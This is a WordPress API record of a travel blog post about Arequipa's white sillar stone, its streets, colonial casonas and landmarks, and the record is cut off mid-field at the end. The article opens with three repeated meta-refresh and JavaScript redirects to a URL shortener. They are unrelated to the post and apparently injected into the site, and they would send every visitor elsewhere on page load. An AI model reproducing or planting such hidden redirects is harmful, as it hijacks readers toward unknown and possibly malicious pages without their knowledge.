{"id":16260,"date":"2025-06-16T15:59:37","date_gmt":"2025-06-16T20:59:37","guid":{"rendered":"https:\/\/blog.viajesmachupicchu.travel\/en\/?p=16260"},"modified":"2025-06-16T16:00:55","modified_gmt":"2025-06-16T21:00:55","slug":"arequipas-sillar-homes-and-colonial-beauty","status":"publish","type":"post","link":"https:\/\/blog.viajesmachupicchu.travel\/en\/arequipas-sillar-homes-and-colonial-beauty\/","title":{"rendered":"Arequipa\u2019s Sillar Homes and Colonial Beauty"},"content":{"rendered":"<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n\n<p>Tucked beneath the watchful gaze of the Misti volcano, the city of <strong>\u00a0<\/strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/adventure-to-arequipas-stunning-salinas-lagoon\/\"><strong>Arequipa<\/strong><\/a><strong>,<\/strong> Peru\u2019s second-largest city, is a dazzling blend of history, culture, and architectural magic.<\/p>\n\n\n\n<p>&nbsp;Nicknamed the &#8220;White City&#8221; (La Ciudad Blanca), its historic center, a UNESCO World Heritage Site since 2000, sparkles with sillar stone buildings, lively <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/unveiling-cuscos-seven-streets-with-number-7\/\"><strong>cobblestone streets<\/strong><\/a>, and colonial homes that feel like time capsules with a modern pulse.&nbsp;<\/p>\n\n\n\n<p>This isn\u2019t a sleepy old town\u2014it\u2019s a vibrant stage where the past and present perform a lively duet. In this blog, we\u2019ll dive into Arequipa\u2019s architectural heart, spotlighting sillar, the white volcanic stone that defines its iconic look.&nbsp;<\/p>\n\n\n\n<p>Expect a fun, fact-packed adventure through streets, homes, and the artistry of sillar, all rooted in verifiable history. So, let\u2019s explore!<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Sillar: The Volcanic Rock Star of Arequipa<\/strong><\/h2>\n\n\n\n<p>Firstly, the sillar, a lightweight, porous volcanic tuff born from the ash of the surrounding volcanoes, Misti, Chachani, and Pichu Pichu <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/discover-andagua-volcanoes-valley-in-peru\/\"><strong>volcanoes,<\/strong><\/a> defines the city\u2019s architecture.\u00a0<\/p>\n\n\n\n<p>Formed millions of years ago, this stone is easy to carve, durable, and ideal for a city on a seismic fault line, withstanding earthquakes like those in 1687, 1868, and 2001 due to its flexible, bend-without-breaking nature.\u00a0<\/p>\n\n\n\n<p><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/the-spanish-conquest-in-peru\/\"><strong>Spanish conquistadors<\/strong><\/a><strong> <\/strong>in the 1540s recognized sillar\u2019s potential in quarries like A\u00f1ashuayco and Yura, still active today, where workers use traditional tools to shape blocks, a practice unchanged since colonial times.\u00a0<\/p>\n\n\n\n<p>Sillar\u2019s pale shades\u2014pearly white, soft pink, or golden\u2014reflect the Andean sun, keeping buildings cool in Arequipa\u2019s arid climate.<\/p>\n\n\n\n<p>&nbsp;UNESCO highlights Arequipa\u2019s sillar architecture as a unique fusion of European and indigenous techniques, embodying cultural synthesis.&nbsp;<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"465\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/ChatGPT-Image-11-jun-2025-15_09_29-1.png?resize=697%2C465&#038;ssl=1\" alt=\"Localas working on sillar volcanic stones in the quarry, the Misti isin the background\" class=\"wp-image-16263\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/ChatGPT-Image-11-jun-2025-15_09_29-1.png?resize=1024%2C683&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/ChatGPT-Image-11-jun-2025-15_09_29-1.png?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/ChatGPT-Image-11-jun-2025-15_09_29-1.png?resize=768%2C512&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/ChatGPT-Image-11-jun-2025-15_09_29-1.png?resize=330%2C220&amp;ssl=1 330w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/ChatGPT-Image-11-jun-2025-15_09_29-1.png?w=1536&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/ChatGPT-Image-11-jun-2025-15_09_29-1.png?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure>\n\n\n\n<p>Known as the \u201cWhite City,\u201d Arequipa owes its nickname to sillar\u2019s glowing facades, especially radiant at sunset.&nbsp;<\/p>\n\n\n\n<p>The Plaza de Armas showcases sillar in arches, intricate reliefs, and mestizo baroque designs\u2014Spanish baroque blended with Andean motifs like pumas and serpents.&nbsp;<\/p>\n\n\n\n<p>At A\u00f1ashuayco quarry, artisans still hand-shape blocks, preserving a centuries-old craft. Sillar\u2019s versatility shines in ornate church portals, sturdy home walls, and delicate friezes, its texture catching light for a dynamic glow.&nbsp;<\/p>\n\n\n\n<p>Weighing about 1.6 tons per cubic meter\u2014lighter than granite\u2014sillar balances beauty and strength, making it Arequipa\u2019s architectural essence.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>The Streets: A Cobblestone Canvas of Life<\/strong><\/h2>\n\n\n\n<p>Arequipa\u2019s historic center is a grid of narrow, cobblestone streets laid out in 1540 around the Plaza de Armas, following a Spanish colonial plan.&nbsp;<\/p>\n\n\n\n<p>However, these streets are no museum piece\u2014they pulse with life. Vendors hawk <strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/rocoto-relleno-perus-sizzling-stuffed-pepper-fiesta\/\" title=\"\">rocoto relleno<\/a><\/strong>, kids play soccer, and tourists snap photos of sillar facades while dodging alpacas (yes, they roam here!).\u00a0<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<div class=\"wp-block-media-text is-stacked-on-mobile\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"327\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/calles-de-arequipa-portada.jpg?resize=697%2C327&#038;ssl=1\" alt=\"\" class=\"wp-image-16266 size-full\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/calles-de-arequipa-portada.jpg?resize=1024%2C481&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/calles-de-arequipa-portada.jpg?resize=300%2C141&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/calles-de-arequipa-portada.jpg?resize=768%2C361&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/calles-de-arequipa-portada.jpg?resize=1536%2C722&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/calles-de-arequipa-portada.jpg?resize=1170%2C550&amp;ssl=1 1170w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/calles-de-arequipa-portada.jpg?w=1920&amp;ssl=1 1920w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/calles-de-arequipa-portada.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><div class=\"wp-block-media-text__content\">\n<p>Each street has its own flavor, making a walk through Arequipa feel like a treasure hunt. <strong>Calle Mercaderes<\/strong> is the commercial heartbeat, lined with shop-fronted shops and cafes.<\/p>\n<\/div><\/div>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<div class=\"wp-block-media-text is-stacked-on-mobile\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"392\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/casa-tristan-del-poz-1.jpg?resize=697%2C392&#038;ssl=1\" alt=\"\" class=\"wp-image-16265 size-full\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/casa-tristan-del-poz-1.jpg?resize=1024%2C576&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/casa-tristan-del-poz-1.jpg?resize=300%2C169&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/casa-tristan-del-poz-1.jpg?resize=768%2C432&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/casa-tristan-del-poz-1.jpg?w=1200&amp;ssl=1 1200w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><div class=\"wp-block-media-text__content\">\n<p>Also, its<strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/discover-cuscos-andean-colonial-architecture\/\" title=\"\"> colonial buildings<\/a><\/strong> sport wooden balconies, perfect for sipping a queso helado (a creamy frozen dessert, not cheese!) while people-watching.<\/p>\n<\/div><\/div>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<div class=\"wp-block-media-text is-stacked-on-mobile\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"459\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/Calle_san_francisco_en_arequipa.jpg?resize=697%2C459&#038;ssl=1\" alt=\"\" class=\"wp-image-16267 size-full\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/Calle_san_francisco_en_arequipa.jpg?w=1024&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/Calle_san_francisco_en_arequipa.jpg?resize=300%2C197&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/Calle_san_francisco_en_arequipa.jpg?resize=768%2C506&amp;ssl=1 768w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><div class=\"wp-block-media-text__content\">\n<p>\u00a0Then, <strong>Calle San Francisco<\/strong>, quieter and more introspective, leads to the San Francisco Church, where sillar arches and carved portals evoke a Renaissance vibe.\u00a0<\/p>\n<\/div><\/div>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<div class=\"wp-block-media-text is-stacked-on-mobile\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"465\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/4712523242_53d353ddd7_b.jpg?resize=697%2C465&#038;ssl=1\" alt=\"\" class=\"wp-image-16268 size-full\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/4712523242_53d353ddd7_b.jpg?w=1024&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/4712523242_53d353ddd7_b.jpg?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/4712523242_53d353ddd7_b.jpg?resize=768%2C512&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/4712523242_53d353ddd7_b.jpg?resize=330%2C220&amp;ssl=1 330w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><div class=\"wp-block-media-text__content\">\n<p>In addition, we have the <strong>Calle Santa Catalina<\/strong>, home to the Santa Catalina Monastery, a 16th-century complex with colorful walls (mustard yellow, cobalt blue) and sillar cloisters that feel like a secret village.<\/p>\n<\/div><\/div>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<div class=\"wp-block-media-text is-stacked-on-mobile\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"390\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/45-imagen-1016182762018.jpg?resize=697%2C390&#038;ssl=1\" alt=\"\" class=\"wp-image-16269 size-full\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/45-imagen-1016182762018.jpg?w=900&amp;ssl=1 900w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/45-imagen-1016182762018.jpg?resize=300%2C168&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/45-imagen-1016182762018.jpg?resize=768%2C429&amp;ssl=1 768w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><div class=\"wp-block-media-text__content\">\n<p>Founded in 1579, the <strong>monastery<\/strong> housed up to 450 nuns, some with private servants, per historical records, and its 20,000-square-meter sprawl is a must-see.<\/p>\n<\/div><\/div>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<p>These streets are built for survival. Sillar\u2019s seismic resilience, paired with thick walls (often 1 meter wide), vaulted ceilings, and rounded corners, helps them withstand quakes.&nbsp;<\/p>\n\n\n\n<p>The 2001 earthquake damaged some structures, but many endured thanks to sillar\u2019s strength and clever design, like arches with keystones that distribute stress.&nbsp;<\/p>\n\n\n\n<p>Walking these streets, you\u2019ll notice sillar blocks fitted without mortar\u2014a nod to indigenous building techniques\u2014proving Arequipa\u2019s architects were as practical as they were artistic.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>The Houses: \u201cCasonas\u201d with Colonial Flair<\/strong><\/h2>\n\n\n\n<p>Arequipa\u2019s homes, or \u201ccasonas\u201d, are colonial gems that make you want to pack your bags and move in. Built around central courtyards, these sillar-walled mansions blend Spanish symmetry with Andean soul.<\/p>\n\n\n\n<p>\u00a0For example, a typical casona starts with a zagu\u00e1n (entrance hall), framed by a sillar portal carved with flowers, saints, or mythical creatures like condors or serpents.\u00a0<\/p>\n\n\n\n<p>Inside, a spacious patio with fountains, geraniums, and tiled floors connects rooms for living, dining, and showing off.&nbsp;<\/p>\n\n\n\n<p>Architectural studies highlight how these courtyards maximize light and ventilation, ideal for Arequipa\u2019s sunny days and chilly nights.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<div class=\"wp-block-media-text is-stacked-on-mobile\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"523\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/Casa_del_Moral_2009.jpg?resize=697%2C523&#038;ssl=1\" alt=\"\" class=\"wp-image-16270 size-full\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/Casa_del_Moral_2009.jpg?w=800&amp;ssl=1 800w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/Casa_del_Moral_2009.jpg?resize=300%2C225&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/Casa_del_Moral_2009.jpg?resize=768%2C576&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/Casa_del_Moral_2009.jpg?resize=640%2C480&amp;ssl=1 640w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><div class=\"wp-block-media-text__content\">\n<p>The casonas are mestizo baroque masterpieces. <strong>Casa del Moral<\/strong>, a preserved 18th-century home, boasts sillar carvings and a 400-year-old mulberry tree in its courtyard.\u00a0<\/p>\n<\/div><\/div>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<div class=\"wp-block-media-text is-stacked-on-mobile\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"463\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/calles_aledanas_casa_tristan_del_pozo.webp?resize=697%2C463&#038;ssl=1\" alt=\"\" class=\"wp-image-16271 size-full\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/calles_aledanas_casa_tristan_del_pozo.webp?w=794&amp;ssl=1 794w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/calles_aledanas_casa_tristan_del_pozo.webp?resize=300%2C199&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/calles_aledanas_casa_tristan_del_pozo.webp?resize=768%2C510&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/calles_aledanas_casa_tristan_del_pozo.webp?resize=330%2C220&amp;ssl=1 330w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><div class=\"wp-block-media-text__content\">\n<p>Then, <strong>Casa Trist\u00e1n del Pozo<\/strong>, now a bank, has a facade mixing Spanish coats of arms with Andean motifs like birds and snakes.\u00a0<\/p>\n<\/div><\/div>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<div class=\"wp-block-media-text is-stacked-on-mobile\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"465\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/4774375616_24c00b97a0_b.jpg?resize=697%2C465&#038;ssl=1\" alt=\"\" class=\"wp-image-16272 size-full\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/4774375616_24c00b97a0_b.jpg?w=1024&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/4774375616_24c00b97a0_b.jpg?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/4774375616_24c00b97a0_b.jpg?resize=768%2C512&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/4774375616_24c00b97a0_b.jpg?resize=330%2C220&amp;ssl=1 330w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><div class=\"wp-block-media-text__content\">\n<p>Also, we have the <strong>Casa Goyeneche<\/strong>,  which has been meticulously restored, its sillar walls gleaming like new. It\u2019s history you can live in, where colonial charm meets Netflix nights.<\/p>\n<\/div><\/div>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<p>Built during Arequipa\u2019s 17th- and 18th-century trade boom, these homes were status symbols for the elite. Their sillar walls, often a meter thick, provide earthquake resistance and insulation, while carved friezes showcase artisan skill.&nbsp;<\/p>\n\n\n\n<p>Therefore, the Ministry of Culture estimates that dozens of casonas remain intact, with many open as museums or hotels.<\/p>\n\n\n\n<p>Today, some casonas are private homes, blending historic facades with modern interiors\u2014think Wi-Fi and flat-screens in a 300-year-old courtyard.&nbsp;<\/p>\n\n\n\n<p>UNESCO regulations ensure sillar exteriors stay authentic, with restorations using stone from original quarries.&nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Landmarks: Sillar\u2019s Grand Showcase<\/strong><\/h2>\n\n\n\n<p>Arequipa\u2019s landmarks are sillar at their boldest.<a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/exploring-cuscos-plaza-de-armas-heart-of-the-city\/\"><strong> The Plaza de Armas<\/strong><\/a>, the city\u2019s heart, is framed by sillar arcades and the Basilica Cathedral.<\/p>\n\n\n\n<p>This structure is massive with twin towers, and was rebuilt after the 2001 quake, its sillar facade glows at sunset, with carvings rivaling European cathedrals. <\/p>\n\n\n\n<p>Inside, a marble altar from Italy and a 17th-century organ impress, but the exterior\u2019s sillar reliefs steal the show.<\/p>\n\n\n\n<p>The <a href=\"https:\/\/viajesmachupicchu.travel\/en\/destinations\/arequipa\/historical-monuments\/santa-catalina-monastery\"><strong>Santa Catalina Monastery<\/strong><\/a> is a sillar-built wonder, covering 20,000 square meters. Its vibrant walls\u2014red, blue, yellow\u2014and sillar cloisters form a maze of streets, cells, and chapels.&nbsp;<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"466\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/plaza-de-armas-arequipa.jpg?resize=697%2C466&#038;ssl=1\" alt=\"\" class=\"wp-image-16273\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/plaza-de-armas-arequipa.jpg?resize=1024%2C685&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/plaza-de-armas-arequipa.jpg?resize=300%2C201&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/plaza-de-armas-arequipa.jpg?resize=768%2C514&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/plaza-de-armas-arequipa.jpg?resize=1536%2C1028&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/plaza-de-armas-arequipa.jpg?resize=330%2C220&amp;ssl=1 330w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/plaza-de-armas-arequipa.jpg?w=1600&amp;ssl=1 1600w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/plaza-de-armas-arequipa.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure>\n\n\n\n<p>Founded in 1579, it housed wealthy nuns, and visitors today can see their colonial artifacts, from paintings to embroidered vestments.&nbsp;<\/p>\n\n\n\n<p>The Iglesia de la Compa\u00f1\u00eda, a 17th-century Jesuit church, is a sillar masterpiece. For example, its facade is a riot of carved angels, vines, and Andean motifs. Its cloisters, now hosting shops and cafes, blend history with modern life.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Why Arequipa Feels Alive<\/strong><\/h2>\n\n\n\n<p>Spanning 49 hectares with over 600 protected properties (per the Ministry of Culture), Arequipa\u2019s historic center is no relic\u2014it\u2019s a living canvas.&nbsp;<\/p>\n\n\n\n<p>Sillar buildings shine thanks to preservation efforts, like those at the A\u00f1ashuayco quarry, which supplies stone for repairs. Streets buzz with vendors, musicians, and rooftop bars overlooking Misti.<\/p>\n\n\n\n<p>\u00a0Also, events like Arequipa Day (August 15) fill the Plaza with parades and fireworks. It\u2019s a place where you can sip coffee in a 400-year-old casona and feel history pulse.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"523\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/costumbres-de-arequipa-3.jpg?resize=697%2C523&#038;ssl=1\" alt=\"\" class=\"wp-image-16274\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/costumbres-de-arequipa-3.jpg?resize=1024%2C768&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/costumbres-de-arequipa-3.jpg?resize=300%2C225&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/costumbres-de-arequipa-3.jpg?resize=768%2C576&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/costumbres-de-arequipa-3.jpg?resize=640%2C480&amp;ssl=1 640w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/costumbres-de-arequipa-3.jpg?w=1200&amp;ssl=1 1200w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<h2 class=\"wp-block-heading\"><strong>Arequipa\u2019s Sillar Spell<\/strong><\/h2>\n\n\n\n<p>In conclusion, Arequipa\u2019s historic center is a love letter to resilience and creativity. Sillar, with its seismic strength, radiant beauty, and carvability,<\/p>\n\n\n\n<p>Additionally,  weaves together streets, casonas, and landmarks in a unique mestizo baroque tapestry.\u00a0 Wander Calle Santa Catalina, marvel at a sillar carving, or savor queso helado in the Plaza de Armas. <\/p>\n\n\n\n<p>The White City isn\u2019t just a destination\u2014it\u2019s a vibe, where Spanish elegance meets Andean soul under Misti\u2019s gaze.\u00a0<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p>Visit, and let Arequipa\u2019s sillar charm cast its spell. Finally, remember that you can visit Arequipa with <strong>Viagens Machu Picchu&#8217;s <\/strong>assistance.\u00a0<\/p>\n\n\n\n<p>Please feel free to contact us to get information about our tours and the best deals. Don&#8217;t wait too much, it\u2019s time to start your Peruvian adventure now!<\/p>\n\n\n\n<p><strong><em>Viagens Machu Picchu, journeys that inspire, moments that last<\/em><\/strong>.<\/p>\n\n\n\n<p><strong><a href=\"https:\/\/viajesmachupicchu.travel\/\">En Espa\u00f1ol &nbsp;<\/a><\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/viajesmachupicchu.travel\/en\/\">In English&nbsp;<\/a><\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/www.viagensmachupicchu.com.br\/\">Em Portugu\u00e9s<\/a><\/strong><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Arequipa\u2019s historic center glows with white volcanic sillar, blending colonial elegance and Andean soul. From cobbled streets to ornate casonas and cathedrals, this UNESCO gem offers history, culture, and charm at every turn\u2014framed by the mighty Misti volcano.<\/p>\n","protected":false},"author":1,"featured_media":16264,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[1630,202,194],"tags":[4244,5647,723,240,5646,1646,5645],"class_list":["post-16260","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-advice","category-arequipa","category-destinations","tag-city-of-arequipa","tag-heritage-site","tag-plaza-de-armas","tag-santa-catalina","tag-volcanic-stone","tag-white-city","tag-white-volcanic"],"aioseo_notices":[],"jetpack_featured_media_url":"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/ChatGPT-Image-11-jun-2025-15_15_54.png?fit=1536%2C1024&ssl=1","jetpack_shortlink":"https:\/\/wp.me\/pg0r71-4eg","jetpack_sharing_enabled":true,"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/16260","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.viajesmachu